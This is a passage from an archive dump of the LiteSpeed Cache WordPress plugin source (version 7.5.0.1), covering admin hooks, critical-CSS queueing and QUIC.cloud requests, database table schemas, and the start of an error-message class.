		// Notice: Sync conf must be after `wp_loaded` hook, to get 3rd party vary injected (e.g. `woocommerce_cart_hash`).
		if (!did_action('wp_loaded')) {
			add_action('wp_loaded', array( $this, 'try_sync_conf' ), 999);
			self::debug('WP not loaded yet, delay sync to wp_loaded:999');
			return;
		}

		$options                = $this->get_options();
		$options['_tp_cookies'] = apply_filters('litespeed_vary_cookies', array());

		// Build necessary options only
		$options_needed  = array(
			self::O_CACHE_DROP_QS,
			self::O_CACHE_EXC_COOKIES,
			self::O_CACHE_EXC_USERAGENTS,
			self::O_CACHE_LOGIN_COOKIE,
			self::O_CACHE_VARY_COOKIES,
			self::O_CACHE_MOBILE_RULES,
			self::O_CACHE_MOBILE,
			self::O_CACHE_BROWSER,
			self::O_CACHE_TTL_BROWSER,
			self::O_IMG_OPTM_WEBP,
			self::O_GUEST,
			'_tp_cookies',
		);
		$consts_needed   = array( 'LSWCP_TAG_PREFIX' );
		$options_for_md5 = array();
		foreach ($options_needed as $v) {
			if (isset($options[$v])) {
				$options_for_md5[$v] = $options[$v];
				// Remove overflow multi lines fields
				if (is_array($options_for_md5[$v]) && count($options_for_md5[$v]) > 30) {
					$options_for_md5[$v] = array_slice($options_for_md5[$v], 0, 30);
				}
			}
		}

		$server_vars = $this->server_vars();
		foreach ($consts_needed as $v) {
			if (isset($server_vars[$v])) {
				if (empty($options_for_md5['_server'])) {
					$options_for_md5['_server'] = array();
				}
				$options_for_md5['_server'][$v] = $server_vars[$v];
			}
		}

		$conf_md5 = md5(wp_json_encode($options_for_md5));
		if (!empty($cloud_summary['conf_md5'])) {
			if ($conf_md5 === $cloud_summary['conf_md5']) {
				if (!$this->force) {
					self::debug('Bypass sync conf to QC due to same md5', $conf_md5);
					return;
				}
				self::debug('!!!Force sync conf even same md5');
			} else {
				self::debug('[conf_md5] ' . $conf_md5 . ' [existing_conf_md5] ' . $cloud_summary['conf_md5']);
			}
		}

		Cloud::save_summary(array( 'conf_md5' => $conf_md5 ));
		self::debug('sync conf to QC');

		Cloud::post(Cloud::SVC_D_SYNC_CONF, $options_for_md5);
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/admin.cls.php000064400000012057151031165260017444 0ustar00<?php
/**
 * The admin-panel specific functionality of the plugin.
 *
 * @since      1.0.0
 * @package    LiteSpeed_Cache
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit();

/**
 * Class Admin
 *
 * Wires admin-side hooks, actions, and safe redirects.
 */
class Admin extends Root {

	const LOG_TAG = '👮';

	const PAGE_EDIT_HTACCESS = 'litespeed-edit-htaccess';

	/**
	 * Initialize the class and set its properties.
	 * Runs in hook `after_setup_theme` when is_admin().
	 *
	 * @since 1.0.0
	 */
	public function __construct() {
		// Define LSCWP_MU_PLUGIN if in mu-plugins.
		if ( defined( 'WPMU_PLUGIN_DIR' ) && dirname( LSCWP_DIR ) === WPMU_PLUGIN_DIR && ! defined( 'LSCWP_MU_PLUGIN' ) ) {
			define( 'LSCWP_MU_PLUGIN', true );
		}

		self::debug( 'No cache due to Admin page' );

		if ( ! defined( 'DONOTCACHEPAGE' ) ) {
			define( 'DONOTCACHEPAGE', true );
		}

		// Additional LiteSpeed assets on admin display (also registers menus).
		$this->cls( 'Admin_Display' );

		// Initialize admin actions.
		add_action( 'admin_init', array( $this, 'admin_init' ) );

		// Add link to plugin list page.
		add_filter(
			'plugin_action_links_' . LSCWP_BASENAME,
			array( $this->cls( 'Admin_Display' ), 'add_plugin_links' )
		);
	}

	/**
	 * Callback that initializes the admin options for LiteSpeed Cache.
	 *
	 * @since 1.0.0
	 * @return void
	 */
	public function admin_init() {
		// Hook attachment upload auto optimization.
		if ( $this->conf( Base::O_IMG_OPTM_AUTO ) ) {
			add_filter( 'wp_update_attachment_metadata', array( $this, 'wp_update_attachment_metadata' ), 9999, 2 );
		}

		$this->_proceed_admin_action();

		// Terminate if user doesn't have access to settings.
		$capability = is_network_admin() ? 'manage_network_options' : 'manage_options';
		if ( ! current_user_can( $capability ) ) {
			return;
		}

		// Add privacy policy (since 2.2.6).
		if ( function_exists( 'wp_add_privacy_policy_content' ) ) {
			wp_add_privacy_policy_content( Core::NAME, Doc::privacy_policy() );
		}

		$this->cls( 'Media' )->after_admin_init();

		do_action( 'litespeed_after_admin_init' );

		if ( $this->cls( 'Router' )->esi_enabled() ) {
			add_action( 'in_widget_form', array( $this->cls( 'Admin_Display' ), 'show_widget_edit' ), 100, 3 );
			add_filter( 'widget_update_callback', __NAMESPACE__ . '\Admin_Settings::validate_widget_save', 10, 4 );
		}
	}

	/**
	 * Handle attachment metadata update.
	 *
	 * @since 4.0
	 *
	 * @param array $data    Attachment meta.
	 * @param int   $post_id Attachment ID.
	 * @return array Filtered meta.
	 */
	public function wp_update_attachment_metadata( $data, $post_id ) {
		$this->cls( 'Img_Optm' )->wp_update_attachment_metadata( $data, $post_id );
		return $data;
	}

	/**
	 * Run LiteSpeed admin actions routed via Router.
	 *
	 * @since 1.1.0
	 * @return void
	 */
	private function _proceed_admin_action() {
		$action = Router::get_action();

		switch ( $action ) {
			case Router::ACTION_SAVE_SETTINGS:
				$this->cls( 'Admin_Settings' )->save( wp_unslash( $_POST ) ); // phpcs:ignore WordPress.Security.NonceVerification.Missing
				break;

			case Router::ACTION_SAVE_SETTINGS_NETWORK:
				$this->cls( 'Admin_Settings' )->network_save( wp_unslash( $_POST ) ); // phpcs:ignore WordPress.Security.NonceVerification.Missing
				break;

			default:
				break;
		}
	}

	/**
	 * Clean up the input (array or scalar) of any extra slashes/spaces.
	 *
	 * @since 1.0.4
	 *
	 * @param mixed $input The input value to clean.
	 * @return mixed Cleaned value.
	 */
	public static function cleanup_text( $input ) {
		if ( is_array( $input ) ) {
			return array_map( __CLASS__ . '::cleanup_text', $input );
		}

		return stripslashes(trim($input));
	}

	/**
	 * After a LSCWP_CTRL action, redirect back to same page
	 * without nonce and action in the query string.
	 *
	 * If the redirect URL cannot be determined, redirects to the homepage.
	 *
	 * @since 1.0.12
	 *
	 * @param string|false $url Optional destination URL.
	 * @return void
	 */
	public static function redirect( $url = false ) {
		global $pagenow;

		// If originated, go back to referrer or home.
		if ( ! empty( $_GET['_litespeed_ori'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
			$ref = wp_get_referer();
			wp_safe_redirect( $ref ? $ref : get_home_url() );
			exit;
		}

		if ( ! $url ) {
			$clean = [];

			// Sanitize current query args while removing our internals.
			if ( ! empty( $_GET ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
				foreach ( $_GET as $k => $v ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
					if ( in_array( $k, array( Router::ACTION, Router::NONCE, Router::TYPE, 'litespeed_i' ), true ) ) {
						continue;
					}
					// Normalize to string for URL building.
					$clean[ $k ] = is_array( $v ) ? array_map( 'sanitize_text_field', wp_unslash( $v ) ) : sanitize_text_field( wp_unslash( $v ) );
				}
			}

			$qs = '';
			if ( ! empty( $clean ) ) {
				$qs = '?' . http_build_query( $clean );
			}

			$url = is_network_admin() ? network_admin_url( $pagenow . $qs ) : admin_url( $pagenow . $qs );
		}

		wp_safe_redirect( $url );
		exit;
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/css.cls.php000064400000036425151031165260017151 0ustar00<?php
// phpcs:ignoreFile

/**
 * The optimize css class.
 *
 * @since       2.3
 */

namespace LiteSpeed;

defined('WPINC') || exit();

class CSS extends Base {

	const LOG_TAG = '[CSS]';

	const TYPE_GEN_CCSS     = 'gen_ccss';
	const TYPE_CLEAR_Q_CCSS = 'clear_q_ccss';

	protected $_summary;
	private $_ccss_whitelist;
	private $_queue;

	/**
	 * Init
	 *
	 * @since  3.0
	 */
	public function __construct() {
		$this->_summary = self::get_summary();

		add_filter('litespeed_ccss_whitelist', array( $this->cls('Data'), 'load_ccss_whitelist' ));
	}

	/**
	 * HTML lazyload CSS
	 *
	 * @since 4.0
	 */
	public function prepare_html_lazy() {
		return '<style>' . implode(',', $this->conf(self::O_OPTM_HTML_LAZY)) . '{content-visibility:auto;contain-intrinsic-size:1px 1000px;}</style>';
	}

	/**
	 * Output critical css
	 *
	 * @since  1.3
	 * @access public
	 */
	public function prepare_ccss() {
		// Get critical css for current page
		// Note: need to consider mobile
		$rules = $this->_ccss();
		if (!$rules) {
			return null;
		}

		$error_tag = '';
		if (substr($rules, 0, 2) == '/*' && substr($rules, -2) == '*/') {
			Core::comment('QUIC.cloud CCSS bypassed due to generation error ❌');
			$error_tag = ' data-error="failed to generate"';
		}

		// Append default critical css
		$rules .= $this->conf(self::O_OPTM_CCSS_CON);

		return '<style id="litespeed-ccss"' . $error_tag . '>' . $rules . '</style>';
	}

	/**
	 * Generate CCSS url tag
	 *
	 * @since 4.0
	 */
	private function _gen_ccss_file_tag( $request_url ) {
		if (is_404()) {
			return '404';
		}

		if ($this->conf(self::O_OPTM_CCSS_PER_URL)) {
			return $request_url;
		}

		$sep_uri = $this->conf(self::O_OPTM_CCSS_SEP_URI);
		if ($sep_uri && ($hit = Utility::str_hit_array($request_url, $sep_uri))) {
			Debug2::debug('[CCSS] Separate CCSS due to separate URI setting: ' . $hit);
			return $request_url;
		}

		$pt = Utility::page_type();

		$sep_pt = $this->conf(self::O_OPTM_CCSS_SEP_POSTTYPE);
		if (in_array($pt, $sep_pt)) {
			Debug2::debug('[CCSS] Separate CCSS due to posttype setting: ' . $pt);
			return $request_url;
		}

		// Per posttype
		return $pt;
	}

	/**
	 * The critical css content of the current page
	 *
	 * @since  2.3
	 */
	private function _ccss() {
		global $wp;
		$request_url = get_permalink();
		// Backup, in case get_permalink() fails.
		if (!$request_url) {
			$request_url = home_url($wp->request);
		}

		$filepath_prefix = $this->_build_filepath_prefix('ccss');
		$url_tag         = $this->_gen_ccss_file_tag($request_url);
		$vary            = $this->cls('Vary')->finalize_full_varies();
		$filename        = $this->cls('Data')->load_url_file($url_tag, $vary, 'ccss');
		if ($filename) {
			$static_file = LITESPEED_STATIC_DIR . $filepath_prefix . $filename . '.css';

			if (file_exists($static_file)) {
				Debug2::debug2('[CSS] existing ccss ' . $static_file);
				Core::comment('QUIC.cloud CCSS loaded ✅ ' . $filepath_prefix . $filename . '.css');
				return File::read($static_file);
			}
		}

		$uid = get_current_user_id();

		$ua = !empty($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';

		// Store it to prepare for cron
		Core::comment('QUIC.cloud CCSS in queue');
		$this->_queue = $this->load_queue('ccss');

		if (count($this->_queue) > 500) {
			self::debug('CCSS Queue is full - 500');
			return null;
		}

		$queue_k                = (strlen($vary) > 32 ? md5($vary) : $vary) . ' ' . $url_tag;
		$this->_queue[$queue_k] = array(
			'url' => apply_filters('litespeed_ccss_url', $request_url),
			'user_agent' => substr($ua, 0, 200),
			'is_mobile' => $this->_separate_mobile(),
			'is_webp' => $this->cls('Media')->webp_support() ? 1 : 0,
			'uid' => $uid,
			'vary' => $vary,
			'url_tag' => $url_tag,
		); // Current UA will be used to request
		$this->save_queue('ccss', $this->_queue);
		self::debug('Added queue_ccss [url_tag] ' . $url_tag . ' [UA] ' . $ua . ' [vary] ' . $vary . ' [uid] ' . $uid);

		// Prepare cache tag for later purge
		Tag::add('CCSS.' . md5($queue_k));

		// For v4.1- clean up
		if (isset($this->_summary['ccss_type_history']) || isset($this->_summary['ccss_history']) || isset($this->_summary['queue_ccss'])) {
			if (isset($this->_summary['ccss_type_history'])) {
				unset($this->_summary['ccss_type_history']);
			}
			if (isset($this->_summary['ccss_history'])) {
				unset($this->_summary['ccss_history']);
			}
			if (isset($this->_summary['queue_ccss'])) {
				unset($this->_summary['queue_ccss']);
			}
			self::save_summary();
		}

		return null;
	}

	/**
	 * Cron ccss generation
	 *
	 * @since  2.3
	 * @access private
	 */
	public static function cron_ccss( $continue = false ) {
		$_instance = self::cls();
		return $_instance->_cron_handler('ccss', $continue);
	}

	/**
	 * Handle UCSS/CCSS cron
	 *
	 * @since 4.2
	 */
	private function _cron_handler( $type, $continue ) {
		$this->_queue = $this->load_queue($type);

		if (empty($this->_queue)) {
			return;
		}

		$type_tag = strtoupper($type);

		// For cron, need to check request interval too
		if (!$continue) {
			if (!empty($this->_summary['curr_request_' . $type]) && time() - $this->_summary['curr_request_' . $type] < 300 && !$this->conf(self::O_DEBUG)) {
				Debug2::debug('[' . $type_tag . '] Last request not done');
				return;
			}
		}

		$i = 0;
		foreach ($this->_queue as $k => $v) {
			if (!empty($v['_status'])) {
				continue;
			}

			Debug2::debug('[' . $type_tag . '] cron job [tag] ' . $k . ' [url] ' . $v['url'] . ($v['is_mobile'] ? ' 📱 ' : '') . ' [UA] ' . $v['user_agent']);

			if ($type == 'ccss' && empty($v['url_tag'])) {
				unset($this->_queue[$k]);
				$this->save_queue($type, $this->_queue);
				Debug2::debug('[CCSS] wrong queue_ccss format');
				continue;
			}

			if (!isset($v['is_webp'])) {
				$v['is_webp'] = false;
			}

			++$i;
			$res = $this->_send_req($v['url'], $k, $v['uid'], $v['user_agent'], $v['vary'], $v['url_tag'], $type, $v['is_mobile'], $v['is_webp']);
			if (!$res) {
				// Status is wrong, drop this this->_queue
				unset($this->_queue[$k]);
				$this->save_queue($type, $this->_queue);

				if (!$continue) {
					return;
				}

				if ($i > 3) {
					GUI::print_loading(count($this->_queue), $type_tag);
					return Router::self_redirect(Router::ACTION_CSS, self::TYPE_GEN_CCSS);
				}

				continue;
			}

			// Exit queue if out of quota or service is hot
			if ($res === 'out_of_quota' || $res === 'svc_hot') {
				return;
			}

			$this->_queue[$k]['_status'] = 'requested';
			$this->save_queue($type, $this->_queue);

			// only request first one
			if (!$continue) {
				return;
			}

			if ($i > 3) {
				GUI::print_loading(count($this->_queue), $type_tag);
				return Router::self_redirect(Router::ACTION_CSS, self::TYPE_GEN_CCSS);
			}
		}
	}

	/**
	 * Send to QC API to generate CCSS/UCSS
	 *
	 * @since  2.3
	 * @access private
	 */
	private function _send_req( $request_url, $queue_k, $uid, $user_agent, $vary, $url_tag, $type, $is_mobile, $is_webp ) {
		// Check if has credit to push or not
		$err       = false;
		$allowance = $this->cls('Cloud')->allowance(Cloud::SVC_CCSS, $err);
		if (!$allowance) {
			Debug2::debug('[CCSS] ❌ No credit: ' . $err);
			$err && Admin_Display::error(Error::msg($err));
			return 'out_of_quota';
		}

		set_time_limit(120);

		// Update css request status
		$this->_summary['curr_request_' . $type] = time();
		self::save_summary();

		// Gather guest HTML to send
		$html = $this->prepare_html($request_url, $user_agent, $uid);

		if (!$html) {
			return false;
		}

		// Parse HTML to gather all CSS content before requesting
		list($css, $html) = $this->prepare_css($html, $is_webp);

		if (!$css) {
			$type_tag = strtoupper($type);
			Debug2::debug('[' . $type_tag . '] ❌ No combined css');
			return false;
		}

		// Generate critical css
		$data = array(
			'url' => $request_url,
			'queue_k' => $queue_k,
			'user_agent' => $user_agent,
			'is_mobile' => $is_mobile ? 1 : 0, // todo:compatible w/ tablet
			'is_webp' => $is_webp ? 1 : 0,
			'html' => $html,
			'css' => $css,
		);
		if (!isset($this->_ccss_whitelist)) {
			$this->_ccss_whitelist = $this->_filter_whitelist();
		}
		$data['whitelist'] = $this->_ccss_whitelist;

		self::debug('Generating: ', $data);

		$json = Cloud::post(Cloud::SVC_CCSS, $data, 30);
		if (!is_array($json)) {
			return $json;
		}

		// Old version compatibility
		if (empty($json['status'])) {
			if (!empty($json[$type])) {
				$this->_save_con($type, $json[$type], $queue_k, $is_mobile, $is_webp);
			}

			// Delete the row
			return false;
		}

		// Unknown status, remove this line
		if ($json['status'] != 'queued') {
			return false;
		}

		// Save summary data
		$this->_summary['last_spent_' . $type]   = time() - $this->_summary['curr_request_' . $type];
		$this->_summary['last_request_' . $type] = $this->_summary['curr_request_' . $type];
		$this->_summary['curr_request_' . $type] = 0;
		self::save_summary();

		return true;
	}

	/**
	 * Save CCSS/UCSS content
	 *
	 * @since 4.2
	 */
	private function _save_con( $type, $css, $queue_k, $mobile, $webp ) {
		// Add filters
		$css = apply_filters('litespeed_' . $type, $css, $queue_k);
		Debug2::debug2('[CSS] con: ' . $css);

		if (substr($css, 0, 2) == '/*' && substr($css, -2) == '*/') {
			self::debug('❌ empty ' . $type . ' [content] ' . $css);
			// continue; // Save the error info too
		}

		// Write to file
		$filecon_md5 = md5($css);

		$filepath_prefix = $this->_build_filepath_prefix($type);
		$static_file     = LITESPEED_STATIC_DIR . $filepath_prefix . $filecon_md5 . '.css';

		File::save($static_file, $css, true);

		$url_tag = $this->_queue[$queue_k]['url_tag'];
		$vary    = $this->_queue[$queue_k]['vary'];
		Debug2::debug2("[CSS] Save URL to file [file] $static_file [vary] $vary");

		$this->cls('Data')->save_url($url_tag, $vary, $type, $filecon_md5, dirname($static_file), $mobile, $webp);

		Purge::add(strtoupper($type) . '.' . md5($queue_k));
	}

	/**
	 * Play for fun
	 *
	 * @since  3.4.3
	 */
	public function test_url( $request_url ) {
		$user_agent       = $_SERVER['HTTP_USER_AGENT'];
		$html             = $this->prepare_html($request_url, $user_agent);
		list($css, $html) = $this->prepare_css($html, true, true);
		// var_dump( $css );
		// $html = <<<EOT

		// EOT;

		// $css = <<<EOT

		// EOT;
		$data = array(
			'url' => $request_url,
			'ccss_type' => 'test',
			'user_agent' => $user_agent,
			'is_mobile' => 0,
			'html' => $html,
			'css' => $css,
			'type' => 'CCSS',
		);

		// self::debug( 'Generating: ', $data );

		$json = Cloud::post(Cloud::SVC_CCSS, $data, 180);

		var_dump($json);
	}

	/**
	 * Prepare HTML from URL
	 *
	 * @since  3.4.3
	 */
	public function prepare_html( $request_url, $user_agent, $uid = false ) {
		$html = $this->cls('Crawler')->self_curl(add_query_arg('LSCWP_CTRL', 'before_optm', $request_url), $user_agent, $uid);
		Debug2::debug2('[CSS] self_curl result....', $html);

		if (!$html) {
			return false;
		}

		$html = $this->cls('Optimizer')->html_min($html, true);
		// Drop <noscript>xxx</noscript>
		$html = preg_replace('#<noscript>.*</noscript>#isU', '', $html);

		return $html;
	}

	/**
	 * Prepare CSS from HTML for CCSS generation only. UCSS will used combined CSS directly.
	 * Prepare refined HTML for both CCSS and UCSS.
	 *
	 * @since  3.4.3
	 */
	public function prepare_css( $html, $is_webp = false, $dryrun = false ) {
		$css = '';
		preg_match_all('#<link ([^>]+)/?>|<style([^>]*)>([^<]+)</style>#isU', $html, $matches, PREG_SET_ORDER);
		foreach ($matches as $match) {
			$debug_info = '';
			if (strpos($match[0], '<link') === 0) {
				$attrs = Utility::parse_attr($match[1]);

				if (empty($attrs['rel'])) {
					continue;
				}

				if ($attrs['rel'] != 'stylesheet') {
					if ($attrs['rel'] != 'preload' || empty($attrs['as']) || $attrs['as'] != 'style') {
						continue;
					}
				}

				if (!empty($attrs['media']) && strpos($attrs['media'], 'print') !== false) {
					continue;
				}

				if (empty($attrs['href'])) {
					continue;
				}

				// Check Google fonts hit
				if (strpos($attrs['href'], 'fonts.googleapis.com') !== false) {
					$html = str_replace($match[0], '', $html);
					continue;
				}

				$debug_info = $attrs['href'];

				// Load CSS content
				if (!$dryrun) {
					// Dryrun will not load CSS but just drop them
					$con = $this->cls('Optimizer')->load_file($attrs['href']);
					if (!$con) {
						continue;
					}
				} else {
					$con = '';
				}
			} else {
				// Inline style
				$attrs = Utility::parse_attr($match[2]);

				if (!empty($attrs['media']) && strpos($attrs['media'], 'print') !== false) {
					continue;
				}

				Debug2::debug2('[CSS] Load inline CSS ' . substr($match[3], 0, 100) . '...', $attrs);
				$con = $match[3];

				$debug_info = '__INLINE__';
			}

			$con = Optimizer::minify_css($con);
			if ($is_webp && $this->cls('Media')->webp_support()) {
				$con = $this->cls('Media')->replace_background_webp($con);
			}

			if (!empty($attrs['media']) && $attrs['media'] !== 'all') {
				$con = '@media ' . $attrs['media'] . '{' . $con . "}\n";
			} else {
				$con = $con . "\n";
			}

			$con  = '/* ' . $debug_info . ' */' . $con;
			$css .= $con;

			$html = str_replace($match[0], '', $html);
		}

		return array( $css, $html );
	}

	/**
	 * Filter the comment content, add quotes to selector from whitelist. Return the json
	 *
	 * @since 7.1
	 */
	private function _filter_whitelist() {
		$whitelist = array();
		$list      = apply_filters('litespeed_ccss_whitelist', $this->conf(self::O_OPTM_CCSS_SELECTOR_WHITELIST));
		foreach ($list as $v) {
			if (substr($v, 0, 2) === '//') {
				continue;
			}
			$whitelist[] = $v;
		}

		return $whitelist;
	}

	/**
	 * Notify finished from server
	 *
	 * @since 7.1
	 */
	public function notify() {
		$post_data = \json_decode(file_get_contents('php://input'), true);
		if (is_null($post_data)) {
			$post_data = $_POST;
		}
		self::debug('notify() data', $post_data);

		$this->_queue = $this->load_queue('ccss');

		list($post_data) = $this->cls('Cloud')->extract_msg($post_data, 'ccss');

		$notified_data = $post_data['data'];
		if (empty($notified_data) || !is_array($notified_data)) {
			self::debug('❌ notify exit: no notified data');
			return Cloud::err('no notified data');
		}

		// Check if its in queue or not
		$valid_i = 0;
		foreach ($notified_data as $v) {
			if (empty($v['request_url'])) {
				self::debug('❌ notify bypass: no request_url', $v);
				continue;
			}
			if (empty($v['queue_k'])) {
				self::debug('❌ notify bypass: no queue_k', $v);
				continue;
			}

			if (empty($this->_queue[$v['queue_k']])) {
				self::debug('❌ notify bypass: no this queue [q_k]' . $v['queue_k']);
				continue;
			}

			// Save data
			if (!empty($v['data_ccss'])) {
				$is_mobile = $this->_queue[$v['queue_k']]['is_mobile'];
				$is_webp   = $this->_queue[$v['queue_k']]['is_webp'];
				$this->_save_con('ccss', $v['data_ccss'], $v['queue_k'], $is_mobile, $is_webp);

				++$valid_i;
			}

			unset($this->_queue[$v['queue_k']]);
			self::debug('notify data handled, unset queue [q_k] ' . $v['queue_k']);
		}
		$this->save_queue('ccss', $this->_queue);

		self::debug('notified');

		return Cloud::ok(array( 'count' => $valid_i ));
	}

	/**
	 * Handle all request actions from main cls
	 *
	 * @since  2.3
	 * @access public
	 */
	public function handler() {
		$type = Router::verify_type();

		switch ($type) {
			case self::TYPE_GEN_CCSS:
            self::cron_ccss(true);
				break;

			case self::TYPE_CLEAR_Q_CCSS:
            $this->clear_q('ccss');
				break;

			default:
				break;
		}

		Admin::redirect();
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/data_structure/img_optming.sql000064400000000526151031165260023144 0ustar00  `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `post_id` bigint(20) unsigned NOT NULL DEFAULT '0',
  `optm_status` tinyint(4) NOT NULL DEFAULT '0',
  `src` varchar(1000) NOT NULL DEFAULT '',
  `server_info` text NOT NULL,
  PRIMARY KEY (`id`),
  KEY `post_id` (`post_id`),
  KEY `optm_status` (`optm_status`),
  KEY `src` (`src`(191))
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/data_structure/url_file.sql000064400000001210151031165260022423 0ustar00`id` bigint(20) NOT NULL AUTO_INCREMENT,
`url_id` bigint(20) NOT NULL,
`vary` varchar(32) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT 'md5 of final vary',
`filename` varchar(32) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT 'md5 of file content',
`type` tinyint(4) NOT NULL COMMENT 'css=1,js=2,ccss=3,ucss=4',
`mobile` tinyint(4) NOT NULL COMMENT 'mobile=1',
`webp` tinyint(4) NOT NULL COMMENT 'webp=1',
`expired` int(11) NOT NULL DEFAULT 0,
PRIMARY KEY (`id`),
KEY `filename` (`filename`),
KEY `type` (`type`),
KEY `url_id_2` (`url_id`,`vary`,`type`),
KEY `filename_2` (`filename`,`expired`),
KEY `url_id` (`url_id`,`expired`)
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/data_structure/crawler.sql000064400000000632151031165260022270 0ustar00  `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `url` varchar(1000) NOT NULL DEFAULT '',
  `res` varchar(255) NOT NULL DEFAULT '' COMMENT '-=not crawl, H=hit, M=miss, B=blacklist',
  `reason` text NOT NULL COMMENT 'response code, comma separated',
  `mtime` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(),
  PRIMARY KEY (`id`),
  KEY `url` (`url`(191)),
  KEY `res` (`res`)
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/data_structure/img_optm.sql000064400000000632151031165260022444 0ustar00  `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `post_id` bigint(20) unsigned NOT NULL DEFAULT '0',
  `optm_status` tinyint(4) NOT NULL DEFAULT '0',
  `src` text NOT NULL,
  `src_filesize` int(11) NOT NULL DEFAULT '0',
  `target_filesize` int(11) NOT NULL DEFAULT '0',
  `webp_filesize` int(11) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `post_id` (`post_id`),
  KEY `optm_status` (`optm_status`)
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/data_structure/avatar.sql000064400000000404151031165260022104 0ustar00  `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `url` varchar(1000) NOT NULL DEFAULT '',
  `md5` varchar(128) NOT NULL DEFAULT '',
  `dateline` int(11) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  UNIQUE KEY `md5` (`md5`),
  KEY `dateline` (`dateline`)
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/data_structure/crawler_blacklist.sql000064400000000626151031165260024323 0ustar00  `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `url` varchar(1000) NOT NULL DEFAULT '',
  `res` varchar(255) NOT NULL DEFAULT '' COMMENT '-=Not Blacklist, B=blacklist',
  `reason` text NOT NULL COMMENT 'Reason for blacklist, comma separated',
  `mtime` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(),
  PRIMARY KEY (`id`),
  KEY `url` (`url`(191)),
  KEY `res` (`res`)
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/data_structure/url.sql000064400000000315151031165260021431 0ustar00`id` bigint(20) NOT NULL AUTO_INCREMENT,
`url` varchar(500) NOT NULL,
`cache_tags` varchar(1000) NOT NULL DEFAULT '',
PRIMARY KEY (`id`),
UNIQUE KEY `url` (`url`(191)),
KEY `cache_tags` (`cache_tags`(191))litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/error.cls.php000064400000016610151031165260017504 0ustar00<?php
// phpcs:ignoreFile
/**
 * The error class.
 *
 * @since       3.0
 * @package     LiteSpeed
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit();

/**
 * Class Error
 *
 * Handles error message translation and throwing for LiteSpeed Cache.
 *
 * @since 3.0
 */
class Error {

	/**
	 * Error code mappings to numeric values.
	 *
	 * @since 3.0
	 * @var array
	 */
	private static $CODE_SET = array(
		'HTA_LOGIN_COOKIE_INVALID' => 4300, // .htaccess did not find.
		'HTA_DNF'                 => 4500, // .htaccess did not find.
		'HTA_BK'                  => 9010, // backup
		'HTA_R'                   => 9041, // read htaccess
		'HTA_W'                   => 9042, // write
		'HTA_GET'                 => 9030, // failed to get
	);

	/**
	 * Throw an error with message
	 *
	 * Throws an exception with the translated error message.
	 *
	 * @since  3.0
	 * @access public
	 * @param string $code Error code.
	 * @param mixed  $args Optional arguments for message formatting.
	 * @throws \Exception Always throws an exception with the error message.
	 */
	public static function t( $code, $args = null ) {
		throw new \Exception( wp_kses_post( self::msg( $code, $args ) ) );
	}

	/**
	 * Translate an error to description
	 *
	 * Converts error codes to human-readable messages.
	 *
	 * @since  3.0
	 * @access public
	 * @param string $code Error code.
	 * @param mixed  $args Optional arguments for message formatting.
	 * @return string Translated error message.
	 */
	public static function msg( $code, $args = null ) {
		switch ( $code ) {
			case 'qc_setup_required':
				$msg =
					sprintf(
						__( 'You will need to finish %s setup to use the online services.', 'litespeed-cache' ),
						'<strong>QUIC.cloud</strong>'
					) .
					Doc::learn_more(
						admin_url( 'admin.php?page=litespeed-general' ),
						__( 'Click here to set.', 'litespeed-cache' ),
						true,
						false,
						true
					);
				break;

			case 'out_of_daily_quota':
				$msg  = __( 'You have used all of your daily quota for today.', 'litespeed-cache' );
				$msg .=
					' ' .
					Doc::learn_more(
						'https://docs.quic.cloud/billing/services/#daily-limits-on-free-quota-usage',
						__( 'Learn more or purchase additional quota.', 'litespeed-cache' ),
						false,
						false,
						true
					);
				break;

			case 'out_of_quota':
				$msg  = __( 'You have used all of your quota left for current service this month.', 'litespeed-cache' );
				$msg .=
					' ' .
					Doc::learn_more(
						'https://docs.quic.cloud/billing/services/#daily-limits-on-free-quota-usage',
						__( 'Learn more or purchase additional quota.', 'litespeed-cache' ),
						false,
						false,
						true
					);
				break;

			case 'too_many_requested':
				$msg = __( 'You have too many requested images, please try again in a few minutes.', 'litespeed-cache' );
				break;

			case 'too_many_notified':
				$msg = __( 'You have images waiting to be pulled. Please wait for the automatic pull to complete, or pull them down manually now.', 'litespeed-cache' );
				break;

			case 'empty_list':
				$msg = __( 'The image list is empty.', 'litespeed-cache' );
				break;

			case 'lack_of_param':
				$msg = __( 'Not enough parameters. Please check if the QUIC.cloud connection is set correctly', 'litespeed-cache' );
				break;

			case 'unfinished_queue':
				$msg = __( 'There is proceeding queue not pulled yet.', 'litespeed-cache' );
				break;

			case 0 === strpos( $code, 'unfinished_queue ' ):
				$msg = sprintf(
					__( 'There is proceeding queue not pulled yet. Queue info: %s.', 'litespeed-cache' ),
					'<code>' . substr( $code, strlen( 'unfinished_queue ' ) ) . '</code>'
				);
				break;

			case 'err_alias':
				$msg = __( 'The site is not a valid alias on QUIC.cloud.', 'litespeed-cache' );
				break;

			case 'site_not_registered':
				$msg = __( 'The site is not registered on QUIC.cloud.', 'litespeed-cache' );
				break;

			case 'err_key':
